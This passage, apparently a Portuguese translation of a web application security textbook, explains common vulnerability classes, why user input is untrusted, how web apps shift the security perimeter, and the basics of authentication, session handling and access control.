Está se aproximando rapidamente o momento em que o único software cliente que a maioria dos usuários de computador precisará será um navegador da Web. Uma gama diversificada de funções terá sido implementada usando um conjunto compartilhado de protocolos e tecnologias e, ao fazê-lo, terá herdado uma gama distinta de vulnerabilidades de segurança comuns.

Benefícios dos aplicativos da Web

Não é difícil entender por que os aplicativos da Web tiveram um aumento tão expressivo em sua proeminência. Vários fatores técnicos trabalharam em conjunto com os óbvios incentivos comerciais para impulsionar a revolução que ocorreu na forma como usamos a Internet:

- O HTTP, o principal protocolo de comunicação usado para acessar a World Wide Web, é leve e sem conexão. Isso proporciona resiliência no caso de erros de comunicação e evita a necessidade de o servidor manter aberta uma conexão de rede para cada usuário, como era o caso em muitos aplicativos cliente/servidor legados. O HTTP também pode ser usado como proxy e túnel em outros protocolos, permitindo a comunicação segura em qualquer configuração de rede.
- Todo usuário da Web já tem um navegador instalado em seu computador e dispositivo móvel. Os aplicativos Web implementam sua interface de usuário dinamicamente no navegador, evitando a necessidade de distribuir e gerenciar softwares clientes separados, como acontecia com os aplicativos pré-web. As alterações na interface precisam ser implementadas apenas uma vez, no servidor, e entram em vigor imediatamente.
- Os navegadores atuais são altamente funcionais, permitindo a criação de interfaces de usuário ricas e satisfatórias. As interfaces da Web usam recursos padrão de navegação e

controles de entrada que são imediatamente familiares aos usuários, evitando a necessidade de aprender como cada aplicativo funciona individualmente. O scripting do lado do cliente permite que os aplicativos transfiram parte do processamento para o lado do cliente, e os recursos dos navegadores podem ser estendidos de forma arbitrária usando tecnologias de extensão de navegador, quando necessário.

- As principais tecnologias e linguagens usadas para desenvolver aplicativos da Web são relativamente simples. Há uma grande variedade de plataformas e ferramentas de desenvolvimento disponíveis para facilitar o desenvolvimento de aplicativos avançados por iniciantes, e há uma grande quantidade de código-fonte aberto e outros recursos disponíveis para incorporação em aplicativos personalizados.

Segurança de aplicativos da Web

Como acontece com qualquer nova classe de tecnologia, os aplicativos da Web trouxeram consigo uma nova gama de vulnerabilidades de segurança. O conjunto de defeitos mais comumente encontrados evoluiu um pouco ao longo do tempo. Foram concebidos novos ataques que não foram considerados quando os aplicativos existentes foram desenvolvidos. Alguns problemas se tornaram menos predominantes à medida que a conscientização sobre eles aumentou. Foram desenvolvidas novas tecnologias que introduziram novas possibilidades de exploração. Algumas categorias de falhas desapareceram em grande parte como resultado de alterações feitas no software do navegador da Web.

Os ataques mais graves contra aplicativos da Web são aqueles que expõem dados confidenciais ou obtêm acesso irrestrito aos sistemas de back-end nos quais o aplicativo está sendo executado. Compromissos de alto nível desse tipo continuam ocorrendo com frequência. No entanto, para muitas organizações, qualquer ataque que cause tempo de inatividade do sistema é um evento crítico. Os ataques de negação de serviço no nível do aplicativo podem ser usados para obter os mesmos resultados que os ataques tradicionais de exaustão de recursos contra a infraestrutura. No entanto, eles geralmente são usados com técnicas e objetivos mais sutis. Eles podem ser usados para interromper um determinado usuário ou serviço para obter uma vantagem competitiva contra seus pares nos domínios do comércio financeiro, jogos, licitações on-line e reservas de passagens.

Durante toda essa evolução, os comprometimentos de aplicativos da Web importantes permaneceram nas notícias. Não há nenhuma sensação de que a situação tenha mudado e que esses problemas de segurança estejam diminuindo. De certa forma, a segurança de aplicativos Web é hoje o campo de batalha mais importante entre os invasores e aqueles que têm recursos de computador e dados para defender, e é provável que continue assim em um futuro próximo.

"Este site é seguro"

Há uma consciência generalizada de que a segurança é um problema para os aplicativos da Web. Consulte a página de perguntas frequentes de um aplicativo típico e você terá a certeza de que ele é, de fato, seguro.

A maioria dos aplicativos afirma que é segura porque usa SSL. Por exemplo:

> *Este site é absolutamente seguro. Ele foi projetado para usar a tecnologia Secure Socket Layer (SSL) de 128 bits para evitar que usuários não autorizados visualizem suas informações. Você pode usar este site com a tranquilidade de saber que seus dados estão seguros conosco.*

Os usuários são frequentemente solicitados a verificar o certificado do site, admirar os protocolos criptográficos avançados em uso e, com base nisso, confiar suas informações pessoais a ele.

Cada vez mais, as organizações também citam sua conformidade com os padrões do Payment Card Industry (PCI) para garantir aos usuários que estão seguros. Por exemplo:

> *Levamos a segurança muito a sério. Nosso site é verificado diariamente para garantir que permaneçamos em conformidade com a PCI e a salvo de hackers. Você pode ver a data da última varredura no logotipo abaixo e tem a garantia de que nosso site é seguro para uso.*

De fato, a maioria dos aplicativos da Web é insegura, apesar do uso generalizado da tecnologia SSL e da adoção da verificação regular da PCI. Os autores deste livro testaram centenas de aplicativos da Web nos últimos anos. A Figura 1-3 mostra a porcentagem de aplicativos testados em 2007 e 2011 que foram afetados por algumas categorias comuns de vulnerabilidade:

- **Autenticação quebrada (62%)** - Essa categoria de vulnerabilidade engloba vários defeitos no mecanismo de login do aplicativo, o que pode permitir que um invasor adivinhe senhas fracas, lance um ataque de força bruta ou ignore o login.
- **Controles de acesso quebrados (71%)** - Isso envolve casos em que o aplicativo não protege adequadamente o acesso aos seus dados e à sua funcionalidade, o que pode permitir que um invasor visualize os dados confidenciais de outros usuários mantidos no servidor ou realize ações privilegiadas.
- **Injeção de SQL (32%)** - essa vulnerabilidade permite que um invasor envie entradas criadas para interferir na interação do aplicativo com bancos de dados back-end. Um invasor pode ser capaz de recuperar dados arbitrários do aplicativo, interferir em sua lógica ou executar comandos no próprio servidor de banco de dados.

- **Cross-site scripting (94%)** - Essa vulnerabilidade permite que um invasor atinja outros usuários do aplicativo, podendo obter acesso aos seus dados, executar ações não autorizadas em seu nome ou realizar outros ataques contra eles.
- **Vazamento de informações (78%)** - Isso envolve casos em que um aplicativo divulga informações confidenciais que são úteis para um invasor no desenvolvimento de um ataque contra o aplicativo, por meio de tratamento de erros defeituoso ou outro comportamento.
- **Falsificação de solicitação entre sites (92%)** - Essa falha significa que os usuários do aplicativo podem ser induzidos a executar ações não intencionais no aplicativo dentro do contexto do usuário e do nível de privilégio. A vulnerabilidade permite que um site malicioso visitado pelo usuário vítima interaja com o aplicativo para executar ações que o usuário não pretendia.

Figura 1-3: A incidência de algumas vulnerabilidades comuns de aplicativos da Web em aplicativos testados recentemente pelos autores (com base em uma amostra de mais de 100)

O SSL é uma excelente tecnologia que protege a confidencialidade e a integridade dos dados em trânsito entre o navegador do usuário e o servidor da Web. Ela ajuda na defesa contra espiões e pode garantir ao usuário a identidade do servidor da Web com o qual ele está lidando. Mas não impede ataques que visam diretamente os componentes do servidor ou do cliente de um aplicativo, como acontece com a maioria dos ataques bem-sucedidos. Especificamente, ele não impede nenhuma das vulnerabilidades que acabamos de listar, ou muitas outras que podem tornar um aplicativo criticamente exposto a ataques. Independentemente de usarem SSL, a maioria dos aplicativos da Web ainda contém falhas de segurança.

O principal problema de segurança: os usuários podem enviar entradas arbitrárias

Como acontece com a maioria dos aplicativos distribuídos, os aplicativos da Web enfrentam um problema fundamental que precisam resolver para serem seguros. Como o cliente está fora do controle do aplicativo, os usuários podem enviar entradas arbitrárias para o aplicativo no lado do servidor. O aplicativo deve presumir que todas as entradas são potencialmente mal-intencionadas. Portanto, ele deve tomar medidas para garantir que os invasores não possam usar entradas criadas para comprometer o aplicativo interferindo em sua lógica e em seu comportamento, obtendo assim acesso não autorizado a seus dados e funcionalidades.

Esse problema central se manifesta de várias maneiras:

- Os usuários podem interferir em qualquer parte dos dados transmitidos entre o cliente e o servidor, incluindo parâmetros de solicitação, cookies e cabeçalhos HTTP. Todos os controles de segurança implementados no lado do cliente, como verificações de validação de entrada, podem ser facilmente contornados.
- Os usuários podem enviar solicitações em qualquer sequência e podem enviar parâmetros em um estágio diferente do esperado pelo aplicativo, mais de uma vez ou não enviar nada. Qualquer suposição feita pelos desenvolvedores sobre como os usuários interagirão com o aplicativo pode ser violada.
- Os usuários não estão restritos a usar apenas um navegador da Web para acessar o aplicativo. Várias ferramentas amplamente disponíveis operam junto com um navegador ou independentemente dele para ajudar a atacar aplicativos da Web. Essas ferramentas podem fazer solicitações que nenhum navegador faria normalmente e podem gerar um grande número de solicitações rapidamente para encontrar e explorar problemas.

A maioria dos ataques contra aplicativos da Web envolve o envio de entradas para o servidor que são criadas para causar algum evento que não era esperado ou desejado pelo designer do aplicativo. Veja a seguir alguns exemplos de envio de entradas criadas para atingir esse objetivo:

- Alteração do preço de um produto transmitido em um campo de formulário HTML oculto para comprar fraudulentamente o produto por um valor mais barato
- Modificação de um token de sessão transmitido em um cookie HTTP para sequestrar a sessão de outro usuário autenticado
- Remoção de determinados parâmetros que normalmente são enviados para explorar uma falha lógica no processamento do aplicativo
- Alteração de alguma entrada que será processada por um banco de dados back-end para injetar uma consulta maliciosa ao banco de dados e acessar dados confidenciais

Não é preciso dizer que o SSL não faz nada para impedir que um invasor envie

dados criados para o servidor. Se o aplicativo usar SSL, isso significa apenas que os outros usuários da rede não poderão visualizar ou modificar os dados do invasor em trânsito. Porque o

o invasor controla sua extremidade do túnel SSL, ele pode enviar o que quiser para o servidor por meio desse túnel. Se qualquer um dos ataques mencionados anteriormente for bem-sucedido, o aplicativo estará enfaticamente vulnerável, independentemente do que as perguntas frequentes possam lhe dizer.

Principais fatores problemáticos

O principal problema de segurança enfrentado pelos aplicativos da Web surge em qualquer situação em que um aplicativo precise aceitar e processar dados não confiáveis que possam ser maliciosos. No entanto, no caso dos aplicativos Web, vários fatores se combinaram para exacerbar o problema e explicar por que tantos aplicativos Web na Internet atualmente fazem um trabalho tão ruim ao lidar com ele.

Consciência de segurança subdesenvolvida

Embora a conscientização sobre os problemas de segurança de aplicativos da Web tenha aumentado nos últimos anos, ela continua menos desenvolvida do que em áreas estabelecidas há mais tempo, como redes e sistemas operacionais. Embora a maioria das pessoas que trabalham com segurança de TI tenha uma compreensão razoável dos fundamentos da proteção de redes e do endurecimento de hosts, ainda há confusão e equívocos generalizados sobre muitos dos principais conceitos envolvidos na segurança de aplicativos Web. O trabalho de um desenvolvedor de aplicativos Web envolve cada vez mais a combinação de dezenas, ou até centenas, de pacotes de terceiros, todos projetados para abstrair o desenvolvedor das tecnologias subjacentes. É comum encontrar desenvolvedores experientes de aplicativos Web que fazem grandes suposições sobre a segurança fornecida por sua estrutura de programação e para os quais a explicação de muitos tipos básicos de falhas é uma revelação.

Desenvolvimento personalizado

A maioria dos aplicativos da Web é desenvolvida internamente pela própria equipe de uma organização ou por terceiros contratados. Mesmo quando um aplicativo emprega componentes bem estabelecidos, eles geralmente são personalizados ou unidos por meio de um novo código. Nessa situação, cada aplicativo é diferente e pode conter seus próprios defeitos exclusivos. Isso contrasta com uma implementação de infraestrutura típica, na qual uma organização pode comprar o melhor produto da categoria e instalá-lo de acordo com as diretrizes padrão do setor.

Simplicidade enganosa

Com as atuais plataformas de aplicativos Web e ferramentas de desenvolvimento, é possível para um programador novato criar um aplicativo avançado do zero em um curto período de tempo. Mas há uma grande diferença entre produzir um código que é

funcional e o código é seguro. Muitos aplicativos da Web são criados por pessoas bem-intencionadas que simplesmente não têm o conhecimento e a experiência necessários para identificar onde podem surgir problemas de segurança.

Uma tendência proeminente nos últimos anos tem sido o uso de estruturas de aplicativos que fornecem componentes de código prontos para lidar com várias áreas comuns de funcionalidade, como autenticação, modelos de página, quadros de mensagens e integração com componentes comuns de infraestrutura de back-end. Exemplos dessas estruturas incluem o Liferay e o Appfuse. Esses produtos agilizam e facilitam a criação de aplicativos funcionais sem exigir um conhecimento técnico de como os aplicativos funcionam ou dos possíveis riscos que eles podem conter. Isso também significa que muitas empresas usam as mesmas estruturas. Assim, quando uma vulnerabilidade é descoberta, ela afeta muitos aplicativos não relacionados.

Perfil de ameaças em rápida evolução

A pesquisa sobre ataques e defesas de aplicativos da Web continua a ser uma área próspera, na qual novos conceitos e ameaças são concebidos em um ritmo mais rápido do que no caso de tecnologias mais antigas. Especialmente no lado do cliente, é comum que as defesas aceitas contra um determinado ataque sejam prejudicadas por pesquisas que demonstram uma nova técnica de ataque. Uma equipe de desenvolvimento que inicia um projeto com um conhecimento completo das ameaças atuais pode ter perdido esse status no momento em que o aplicativo é concluído e implantado.

Restrições de recursos e tempo

A maioria dos projetos de desenvolvimento de aplicativos Web está sujeita a restrições rigorosas de tempo e recursos, decorrentes da economia do desenvolvimento interno e único. Na maioria das organizações, muitas vezes é inviável empregar especialistas em segurança dedicados nas equipes de design ou desenvolvimento. E, devido a atrasos no projeto, os testes de segurança realizados por especialistas geralmente são deixados para o final do ciclo de vida do projeto. Ao equilibrar as prioridades conflitantes, a necessidade de produzir um aplicativo estável e funcional dentro de um prazo normalmente se sobrepõe a considerações de segurança menos tangíveis. Uma pequena organização típica pode estar disposta a pagar por apenas alguns dias de consultoria para avaliar um novo aplicativo. Um teste rápido de penetração geralmente encontra os frutos mais fáceis, mas pode deixar passar vulnerabilidades mais sutis que exigem tempo e paciência para serem identificadas.

Tecnologias sobrecarregadas

Muitas das principais tecnologias empregadas em aplicativos da Web começaram quando o cenário da World Wide Web era muito diferente. Desde então, elas foram levadas muito além dos propósitos para os quais foram originalmente concebidas, como o uso do JavaScript como meio de transmissão de dados em muitos aplicativos baseados em AJAX.

aplicativos. Como as expectativas em relação à funcionalidade dos aplicativos Web evoluíram rapidamente, as tecnologias usadas para implementar essa funcionalidade ficaram para trás, com tecnologias antigas ampliadas e adaptadas para atender aos novos requisitos. Como era de se esperar, isso levou a vulnerabilidades de segurança, pois surgiram efeitos colaterais imprevistos.

Demandas crescentes de funcionalidade

Os aplicativos são projetados principalmente com a funcionalidade e a usabilidade em mente. Os perfis de usuário, antes estáticos, agora contêm recursos de rede social, permitindo o upload de fotos e a edição de páginas no estilo wiki. Há alguns anos, um designer de aplicativos poderia ter se contentado em implementar um desafio de nome de usuário e senha para criar a funcionalidade de login. Os sites modernos podem incluir recuperação de senha, recuperação de nome de usuário, dicas de senha e uma opção para lembrar o nome de usuário e a senha em visitas futuras. Sem dúvida, um site desse tipo seria promovido como tendo vários recursos de segurança, mas cada um deles é, na verdade, um recurso de autoatendimento que aumenta a superfície de ataque do site.

O novo perímetro de segurança

Antes do surgimento dos aplicativos da Web, os esforços das organizações para se protegerem contra ataques externos se concentravam principalmente no perímetro da rede. A defesa desse perímetro implicava o endurecimento e a aplicação de patches nos serviços que precisavam ser expostos e o acesso de firewall a outros.

Os aplicativos da Web mudaram tudo isso. Para que um aplicativo possa ser acessado por seus usuários, o firewall de perímetro deve permitir conexões de entrada com o servidor por HTTP ou HTTPS. E para que o aplicativo funcione, o servidor deve ter permissão para se conectar a sistemas de back-end de suporte, como bancos de dados, mainframes e sistemas financeiros e logísticos. Esses sistemas geralmente estão no centro das operações da organização e residem atrás de várias camadas de defesas em nível de rede.

Se houver uma vulnerabilidade em um aplicativo da Web, um invasor na Internet pública poderá comprometer os principais sistemas de back-end da organização apenas enviando dados criados a partir de seu navegador da Web. Esses dados passam por todas as defesas de rede da organização, da mesma forma que o tráfego comum e benigno para o aplicativo Web.

O efeito da implantação generalizada de aplicativos da Web é que o perímetro de segurança de uma organização típica mudou. Parte desse perímetro ainda está incorporada em firewalls e hosts de bastião. Mas uma parte significativa dele agora é ocupada pelos aplicativos Web da organização. Devido às diversas maneiras pelas quais os aplicativos Web recebem informações do usuário e as transmitem a sistemas back-end confidenciais, eles são os possíveis gateways para uma ampla gama de ataques, e as defesas contra esses ataques devem ser implementadas nos próprios aplicativos. Um único

Uma linha de código defeituoso em um único aplicativo da Web pode tornar vulneráveis os sistemas internos de uma organização. Além disso, com o surgimento de aplicativos mash-up, widgets de terceiros e outras técnicas de integração entre domínios, o perímetro de segurança do lado do servidor frequentemente se estende muito além da própria organização. A confiança implícita é depositada nos serviços de aplicativos e serviços externos. As estatísticas descritas anteriormente, sobre a incidência de vulnerabilidades dentro desse novo perímetro de segurança, devem fazer com que todas as organizações parem para pensar.

OBSERVAÇÃO Para um invasor que tem como alvo uma organização, obter acesso à rede ou executar comandos arbitrários em servidores pode não ser o que ele deseja alcançar. Muitas vezes, e talvez tipicamente, o que um invasor realmente deseja é executar alguma ação no nível do aplicativo, como roubar informações pessoais, transferir fundos ou fazer compras baratas. E a realocação do perímetro de segurança para a camada de aplicativos pode ajudar muito o invasor a atingir esses objetivos.

Por exemplo, suponha que um invasor queira "invadir" os sistemas de um banco e roubar dinheiro das contas dos usuários. No passado, antes de o banco implantar um aplicativo da Web, o invasor talvez precisasse encontrar uma vulnerabilidade em um serviço acessível ao público, explorar isso para ganhar uma posição na DMZ do banco, penetrar no firewall que restringe o acesso aos sistemas internos, mapear a rede para encontrar o computador mainframe, decifrar o protocolo arcano usado para acessá-lo e adivinhar algumas credenciais para fazer login. No entanto, se o banco agora implantar um aplicativo da Web vulnerável, o invasor poderá obter o mesmo resultado simplesmente modificando um número de conta em um campo oculto de um formulário HTML.

Uma segunda maneira pela qual os aplicativos Web mudaram o perímetro de segurança decorre das ameaças que os próprios usuários enfrentam quando acessam um aplicativo vulnerável. Um invasor mal-intencionado pode aproveitar um aplicativo da Web benigno, mas vulnerável, para atacar qualquer usuário que o acesse. Se esse usuário estiver localizado em uma rede corporativa interna, o invasor poderá aproveitar o navegador do usuário para lançar um ataque contra a rede local a partir da posição confiável do usuário. Sem nenhuma cooperação do usuário, o invasor poderá executar qualquer ação que o usuário poderia realizar se fosse mal-intencionado. Com a proliferação de tecnologias de extensão de navegador e plug-ins, a extensão da superfície de ataque no lado do cliente aumentou consideravelmente.

Os administradores de rede estão familiarizados com a ideia de impedir que seus usuários visitem sites mal-intencionados, e os próprios usuários finais estão gradualmente se tornando mais conscientes dessa ameaça. No entanto, a natureza das vulnerabilidades dos aplicativos Web significa que um aplicativo vulnerável pode representar uma ameaça não menor para os usuários e para a organização do que um site abertamente mal-intencionado. Da mesma forma, o novo perímetro de segurança impõe um dever de cuidado a todos os proprietários de aplicativos para proteger seus usuários de ataques contra eles realizados por meio do aplicativo.

Uma outra maneira pela qual o perímetro de segurança foi parcialmente transferido para o lado do cliente é o uso generalizado do e-mail como um mecanismo de autenticação estendido. Um grande número de aplicativos atuais contém funções de "senha esquecida" que permitem que um invasor gere um e-mail de recuperação de conta para qualquer endereço registrado, sem exigir nenhuma outra informação específica do usuário. Isso permite que um invasor que comprometa a conta de e-mail de um usuário na Web amplie facilmente o ataque e comprometa as contas da vítima na maioria dos aplicativos da Web nos quais a vítima está registrada.

O futuro da segurança de aplicativos da Web

Mais de uma década após sua adoção generalizada, os aplicativos da Web na Internet ainda estão repletos de vulnerabilidades. A compreensão das ameaças à segurança enfrentadas pelos aplicativos Web e as formas eficazes de lidar com elas ainda são pouco desenvolvidas no setor. Atualmente, há poucos indícios de que os fatores problemáticos descritos neste capítulo desaparecerão em um futuro próximo.

Dito isso, os detalhes do cenário de segurança de aplicativos Web não são estáticos. Embora vulnerabilidades antigas e bem compreendidas, como a injeção de SQL, continuem a aparecer, sua prevalência está diminuindo gradualmente. Além disso, as instâncias que permanecem estão se tornando mais difíceis de encontrar e explorar. As novas pesquisas nessas áreas geralmente se concentram no desenvolvimento de técnicas avançadas para atacar manifestações mais sutis de vulnerabilidades que, há alguns anos, podiam ser facilmente detectadas e exploradas usando apenas um navegador.

Uma segunda tendência proeminente tem sido uma mudança gradual na atenção dos ataques contra o lado do servidor do aplicativo para aqueles que têm como alvo os usuários do aplicativo. O último tipo de ataque ainda aproveita os defeitos do próprio aplicativo, mas geralmente envolve algum tipo de interação com outro usuário para comprometer as negociações desse usuário com o aplicativo vulnerável. Essa é uma tendência que foi replicada em outras áreas de segurança de software. À medida que a conscientização sobre as ameaças à segurança amadurece, as falhas no lado do servidor são as primeiras a serem bem compreendidas e tratadas, deixando o lado do cliente como um importante campo de batalha à medida que o processo de aprendizado continua. De todos os ataques descritos neste livro, os ataques contra outros usuários são os que evoluem mais rapidamente e têm sido o foco da maioria das pesquisas nos últimos anos.

Várias tendências recentes em tecnologia alteraram um pouco o cenário dos aplicativos da Web. A consciência popular sobre essas tendências existe por meio de vários chavões bastante enganosos, sendo que os mais proeminentes são estes:

- Web 2.0 - Esse termo refere-se ao maior uso da funcionalidade que permite o compartilhamento de informações e conteúdo gerado pelo usuário e também à adoção de várias tecnologias que suportam amplamente essa funcionalidade, incluindo solicitações HTTP assíncronas e integração entre domínios.

- Computação em nuvem - Esse termo refere-se ao maior uso de provedores de serviços externos para várias partes da pilha de tecnologia, incluindo software de aplicativos, plataformas de aplicativos, software de servidor da Web, bancos de dados e hardware. Também se refere ao aumento do uso de tecnologias de virtualização em ambientes de hospedagem.

Como acontece com a maioria das mudanças na tecnologia, essas tendências trouxeram consigo alguns novos ataques e variações dos ataques existentes. Apesar do alarde, as questões levantadas não são tão revolucionárias quanto podem parecer inicialmente. Examinaremos as implicações de segurança dessas e de outras tendências recentes nos locais apropriados ao longo deste livro.

Apesar de todas as mudanças que ocorreram nos aplicativos da Web, algumas categorias de vulnerabilidades "clássicas" não mostram sinais de diminuição. Elas continuam a surgir praticamente da mesma forma que surgiram nos primeiros dias da Web. Isso inclui defeitos na lógica comercial, falhas na aplicação adequada de controles de acesso e outros problemas de design. Mesmo em um mundo de componentes de aplicativos aparafusados e tudo como serviço, é provável que esses problemas atemporais continuem a ser comuns.

Resumo

Em pouco mais de uma década, a World Wide Web evoluiu de repositórios de informações puramente estáticas para aplicativos altamente funcionais que processam dados confidenciais e executam ações poderosas com consequências no mundo real. Durante esse desenvolvimento, vários fatores se combinaram para gerar a fraca postura de segurança demonstrada pela maioria dos aplicativos da Web atuais.

A maioria dos aplicativos enfrenta o problema central de segurança de que os usuários podem enviar entradas arbitrárias. Cada aspecto da interação do usuário com o aplicativo pode ser malicioso e deve ser considerado como tal, a menos que se prove o contrário. Se esse problema não for tratado adequadamente, os aplicativos poderão ficar vulneráveis a ataques de várias maneiras.

Todas as evidências sobre o estado atual da segurança de aplicativos Web indicam que, embora alguns aspectos da segurança tenham de fato melhorado, ameaças totalmente novas evoluíram para substituí-los. O problema geral não foi resolvido em uma escala significativa. Os ataques contra aplicativos Web ainda representam uma séria ameaça tanto para as organizações que os implantam quanto para os usuários que os acessam.

CAPÍTULO

2

Mecanismos de defesa essenciais

O problema fundamental de segurança dos aplicativos da Web - que todas as entradas do usuário não são confiáveis - dá origem a vários mecanismos de segurança que os aplicativos usam para se defender contra ataques. Praticamente todos os aplicativos empregam mecanismos que são conceitualmente semelhantes, embora os detalhes do projeto e a eficácia da implementação variem muito.

Os mecanismos de defesa empregados pelos aplicativos da Web compreendem os seguintes elementos principais:

- Gerenciar o acesso do usuário aos dados e à funcionalidade do aplicativo para evitar que os usuários obtenham acesso não autorizado
- Manipulação da entrada do usuário nas funções do aplicativo para evitar que entradas malformadas causem comportamentos indesejáveis.
- Lidar com os invasores para garantir que o aplicativo se comporte adequadamente quando for diretamente visado, tomando medidas defensivas e ofensivas adequadas para frustrar o invasor.
- Gerenciar o próprio aplicativo, permitindo que os administradores monitorem suas atividades e configurem sua funcionalidade

Devido à sua função central na abordagem do problema central de segurança, esses mecanismos também constituem a grande maioria da superfície de ataque de um aplicativo típico. Se conhecer seu inimigo é a primeira regra da guerra, então entender esses mecanismos completamente é o principal pré-requisito para poder atacar

aplicativos de forma eficaz. Se você não tem experiência em hackear aplicativos da Web (e mesmo que não tenha), deve dedicar algum tempo para entender como esses mecanismos principais funcionam em cada um dos aplicativos que encontrar e identificar os pontos fracos que os deixam vulneráveis a ataques.

Manipulação do acesso do usuário

Um requisito central de segurança que praticamente qualquer aplicativo precisa atender é o controle do acesso dos usuários aos seus dados e funcionalidades. Uma situação típica tem várias categorias diferentes de usuários, como usuários anônimos, usuários comuns autenticados e usuários administrativos. Além disso, em muitas situações, diferentes usuários têm permissão para acessar um conjunto diferente de dados. Por exemplo, os usuários de um aplicativo de e-mail da Web devem poder ler seus próprios e-mails, mas não os de outras pessoas.

A maioria dos aplicativos da Web lida com o acesso usando um trio de mecanismos de segurança inter-relacionados:

- Autenticação
- Gerenciamento de sessões
- Controle de acesso

Cada um desses mecanismos representa uma área significativa da superfície de ataque de um aplicativo, e cada um deles é fundamental para a postura geral de segurança de um aplicativo. Devido às suas interdependências, a segurança geral fornecida pelos mecanismos é tão forte quanto o elo mais fraco da cadeia. Um defeito em um único componente pode permitir que um invasor obtenha acesso irrestrito à funcionalidade e aos dados do aplicativo.

Autenticação

O mecanismo de autenticação é, logicamente, a dependência mais básica no tratamento do acesso do usuário por um aplicativo. Autenticar um usuário envolve estabelecer que o usuário é de fato quem ele afirma ser. Sem esse recurso, o aplicativo precisaria tratar todos os usuários como anônimos - o menor nível de confiança possível. A maioria dos aplicativos Web atuais emprega o modelo de autenticação convencional, no qual o usuário envia um nome de usuário e uma senha, cuja validade é verificada pelo aplicativo. A Figura 2-1 mostra uma função de login típica. Em aplicativos de segurança crítica, como os usados por bancos on-line, esse modelo básico geralmente é complementado por credenciais adicionais e um processo de login de vários estágios. Quando os requisitos de segurança são ainda maiores, outros modos de autenticação podem ser usados, com base em certificados de cliente, cartões inteligentes ou tokens de resposta a desafios. Além do processo de login principal, os mecanismos de autenticação geralmente empregam uma série de outras funcionalidades de suporte, como o autorregistro, recuperação de conta e um recurso de alteração de senha.

Figura 2-1: Uma função de login típica

Apesar de sua simplicidade superficial, os mecanismos de autenticação sofrem de uma grande variedade de defeitos, tanto no projeto quanto na implementação. Problemas comuns podem permitir que um invasor identifique os nomes de usuário de outros usuários, adivinhe suas senhas ou ignore a função de login explorando defeitos em sua lógica. Quando estiver atacando um aplicativo da Web, você deve dar bastante atenção às várias funções relacionadas à autenticação que ele contém. Com uma frequência surpreendente, os defeitos nessa funcionalidade permitem que você obtenha acesso não autorizado a dados e funcionalidades confidenciais.

Gerenciamento de sessões

A próxima tarefa lógica no processo de manipulação do acesso do usuário é gerenciar a sessão do usuário autenticado. Depois de fazer login com sucesso no aplicativo, o usuário acessa várias páginas e funções, fazendo uma série de solicitações HTTP em seu navegador. Ao mesmo tempo, o aplicativo recebe inúmeras outras solicitações de diferentes usuários, alguns dos quais são autenticados e outros são anônimos. Para impor um controle de acesso eficaz, o aplicativo precisa de uma maneira de identificar e processar a série de solicitações originadas de cada usuário exclusivo. Praticamente todos os aplicativos da Web atendem a esse requisito criando uma sessão para cada usuário e emitindo para o usuário um token que identifica a sessão. A sessão em si é um conjunto de estruturas de dados mantidas no servidor que rastreia o estado da interação do usuário com o aplicativo. O token é uma cadeia de caracteres exclusiva que o aplicativo mapeia para a sessão. Quando um usuário recebe um token, o navegador o envia automaticamente de volta ao servidor em cada solicitação HTTP subsequente, permitindo que o aplicativo associe a solicitação a esse usuário. Os cookies HTTP são o método padrão para transmitir tokens de sessão, embora muitos aplicativos usem campos de formulário ocultos ou a string de consulta de URL para essa finalidade. Se um usuário não fizer uma solicitação por um determinado período de tempo, a sessão é idealmente expirada, conforme mostrado na Figura 2-2.

Figura 2-2: Um aplicativo que impõe o tempo limite da sessão

Em termos de superfície de ataque, o mecanismo de gerenciamento de sessão é altamente dependente da segurança de seus tokens. A maioria dos ataques contra ele busca comprometer os tokens emitidos para outros usuários. Se isso for possível, um invasor poderá se passar pelo usuário vítima e usar o aplicativo como se tivesse realmente se autenticado como esse usuário. As principais áreas de vulnerabilidade decorrem de defeitos na forma como os tokens são gerados, permitindo que um invasor adivinhe os tokens emitidos para outros usuários, e de defeitos na forma como os tokens são tratados posteriormente, permitindo que um invasor capture os tokens de outros usuários.

Um pequeno número de aplicativos dispensa a necessidade de tokens de sessão usando outros meios de reidentificação de usuários em várias solicitações. Se o mecanismo de autenticação incorporado do HTTP for usado, o navegador reenviará automaticamente as credenciais do usuário a cada solicitação, permitindo que o aplicativo identifique o usuário diretamente a partir delas. Em outros casos, o aplicativo armazena as informações de estado no lado do cliente e não no servidor, geralmente de forma criptografada para evitar adulterações.

Controle de acesso

A etapa lógica final no processo de tratamento do acesso do usuário é tomar e aplicar decisões corretas sobre se cada solicitação individual deve ser permitida ou negada. Se os mecanismos descritos acima estiverem funcionando corretamente, o aplicativo saberá a identidade do usuário do qual cada solicitação é recebida. Com base nisso, ele precisa decidir se esse usuário está autorizado a executar a ação ou acessar os dados que está solicitando, conforme mostrado na Figura 2-3.

O mecanismo de controle de acesso geralmente precisa implementar uma lógica refinada, com diferentes considerações sendo relevantes para diferentes áreas do aplicativo e diferentes tipos de funcionalidade. Um aplicativo pode suportar várias funções de usuário, cada uma envolvendo diferentes combinações de privilégios específicos. Usuários individuais podem ter permissão para acessar um subconjunto do total de dados mantidos no aplicativo. Funções específicas podem implementar limites de transação e outras verificações, e todas elas precisam ser aplicadas adequadamente com base na identidade do usuário. Devido à natureza complexa dos requisitos típicos de controle de acesso, esse mecanismo é uma fonte frequente de vulnerabilidades de segurança que permitem que um invasor

para obter acesso não autorizado a dados e funcionalidades. Os desenvolvedores geralmente fazem suposições erradas sobre como os usuários irão interagir com o aplicativo e frequentemente cometem erros ao omitir verificações de controle de acesso de algumas funções do aplicativo. A sondagem dessas vulnerabilidades costuma ser trabalhosa, pois basicamente as mesmas verificações precisam ser repetidas para cada item de funcionalidade. Entretanto, devido à prevalência das falhas de controle de acesso, esse esforço é sempre um investimento que vale a pena quando se está atacando um aplicativo Web. O Capítulo 8 descreve como é possível automatizar parte do esforço envolvido na realização de testes rigorosos de controle de acesso.

Figura 2-3: Um aplicativo que impõe o controle de acesso

Manipulação da entrada do usuário

